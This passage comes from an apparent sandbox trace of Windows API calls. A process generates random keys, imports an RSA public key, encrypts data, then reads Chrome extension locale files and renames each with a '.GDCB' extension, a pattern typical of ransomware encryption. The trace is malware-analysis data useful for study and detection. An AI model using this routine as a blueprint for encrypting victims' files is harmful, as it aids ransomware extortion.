hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.585] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.588] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cde0) returned 1 [0276.588] CryptGetKeyParam (in: hKey=0x678cde0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.588] CryptEncrypt (in: hKey=0x678cde0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.588] GetLastError () returned 0x0 [0276.588] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.588] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.590] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cbe0) returned 1 [0276.590] CryptGetKeyParam (in: hKey=0x678cbe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.590] CryptEncrypt (in: hKey=0x678cbe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.590] GetLastError () returned 0x0 [0276.590] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.590] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.591] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.594] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.596] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xea, lpOverlapped=0x0) returned 1 [0276.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.616] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0276.621] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.624] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.627] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.627] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.627] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.627] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.632] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.632] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.632] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.634] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678d060) returned 1 [0276.634] CryptGetKeyParam (in: hKey=0x678d060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.634] CryptEncrypt (in: hKey=0x678d060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.634] GetLastError () returned 0x0 [0276.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.635] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.636] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678d0a0) returned 1 [0276.636] CryptGetKeyParam (in: hKey=0x678d0a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.636] CryptEncrypt (in: hKey=0x678d0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.637] GetLastError () returned 0x0 [0276.637] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.638] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.641] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.643] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x127, lpOverlapped=0x0) returned 1 [0276.652] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.701] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0276.708] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.713] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.713] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.713] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.713] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.717] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.717] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.717] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.717] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.720] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cba0) returned 1 [0276.720] CryptGetKeyParam (in: hKey=0x678cba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.720] CryptEncrypt (in: hKey=0x678cba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.720] GetLastError () returned 0x0 [0276.720] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.720] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.722] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cce0) returned 1 [0276.722] CryptGetKeyParam (in: hKey=0x678cce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.722] CryptEncrypt (in: hKey=0x678cce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.722] GetLastError () returned 0x0 [0276.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.722] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.723] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.726] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.728] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x144, lpOverlapped=0x0) returned 1 [0276.738] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.753] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0276.758] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.763] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.763] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.763] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.764] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.769] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.769] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.769] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.772] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c920) returned 1 [0276.772] CryptGetKeyParam (in: hKey=0x678c920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.772] CryptEncrypt (in: hKey=0x678c920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.772] GetLastError () returned 0x0 [0276.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.772] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.774] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678d020) returned 1 [0276.774] CryptGetKeyParam (in: hKey=0x678d020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.774] CryptEncrypt (in: hKey=0x678d020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.774] GetLastError () returned 0x0 [0276.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.776] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.779] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.781] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xea, lpOverlapped=0x0) returned 1 [0276.789] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.796] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0276.801] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.807] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.807] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.812] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.812] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.812] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.814] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c9e0) returned 1 [0276.814] CryptGetKeyParam (in: hKey=0x678c9e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.814] CryptEncrypt (in: hKey=0x678c9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.815] GetLastError () returned 0x0 [0276.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.816] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cc20) returned 1 [0276.818] CryptGetKeyParam (in: hKey=0x678cc20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.818] CryptEncrypt (in: hKey=0x678cc20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.818] GetLastError () returned 0x0 [0276.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.819] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.822] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.825] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x130, lpOverlapped=0x0) returned 1 [0276.834] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.841] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0276.847] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.853] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0276.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.858] CryptGenRandom (in: 